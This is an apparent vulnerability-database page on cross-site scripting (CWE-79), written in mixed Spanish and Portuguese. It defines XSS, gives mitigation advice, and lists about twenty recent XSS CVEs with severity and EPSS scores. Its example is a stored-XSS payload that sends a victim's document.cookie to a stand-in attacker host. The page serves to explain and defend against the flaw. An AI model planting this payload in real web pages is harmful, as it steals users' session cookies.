Fallos del tipo CWE-79

30.314 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-53907MEDIUMStored Cross‑Site Scripting in MCOEPSS 0.2%CVE-2026-1042MEDIUMWP Hello Bar <= 1.02 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'digit_one' and 'digit_two' ParametersEPSS 0.2%CVE-2025-15188MEDIUMCampcodes Complete Online Beauty Parlor Management System search-invoices.php cross site scriptingEPSS 0.2%CVE-2025-56313MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the /publix/run endpoint of JATOS 3.7.1 through 3.9.6 (inclusive). ThEPSS 0.2%CVE-2025-14663MEDIUMcode-projects Student File Management System update_student.php cross site scriptingEPSS 0.2%CVE-2025-10053MEDIUMTableGen – Data Table Generator <= 1.3.1 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-46336MEDIUMkashipara School Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via /client_user/feedback.php.EPSS 0.2%CVE-2024-13898MEDIUMSimple Banner <= 3.0.4 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-95684HIGHVikBooking Hotel Booking Engine & PMS <= 1.8.15 - Unauthenticated Stored Cross-Site Scripting via 'attachments[name]' ParameterEPSS 0.2%CVE-2025-61997MEDIUMOPEXUS FOIAXpress stored XSS via banner imageEPSS 0.2%CVE-2025-41406MEDIUMCross-site scripting vulnerability exists in wivia 5 all versions. If exploited, when a user connects to the affected device with a specificEPSS 0.2%CVE-2025-14887MEDIUMtwinklesmtp – Email Service Provider For WordPress <= 1.03 - Authenticated (Administrator+) Stored Cross-Site Scripting via Sender SettingsEPSS 0.2%CVE-2026-103899HIGHEU VAT Assistant for WooCommerce <= 2.1.30.260413 - Unauthenticated Stored Cross-Site Scripting via 'vat_number' ParameterEPSS 0.2%CVE-2026-101357MEDIUMSEOPress <= 10.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'seopress_google_analytics_matomo_id' ParameterEPSS 0.2%CVE-2026-102007HIGHBit integrations <= 2.10.6 - Unauthenticated Stored Cross-Site Scripting via 'notification_content' Field via Public Bit Assist Webhook CallbackEPSS 0.2%CVE-2026-2156MEDIUMcode-projects Online Student Management System Announcement Management index.php cross site scriptingEPSS 0.2%CVE-2025-62598MEDIUMWeGIA Vulnerable to Reflected Cross-Site Scripting via Endpoint 'pessoa/editar_info_pessoal.php' Parameter 'action'EPSS 0.2%CVE-2025-63640MEDIUMSourcecodester Medicine Reminder App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Medicine Name" and "Notes (Optional)" fields wEPSS 0.2%CVE-2025-61087MEDIUMSourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer MEPSS 0.2%CVE-2026-116622HIGHFood Store <= 1.5.5 - Unauthenticated Stored Cross-Site Scripting via 'service_time' CookieEPSS 0.2%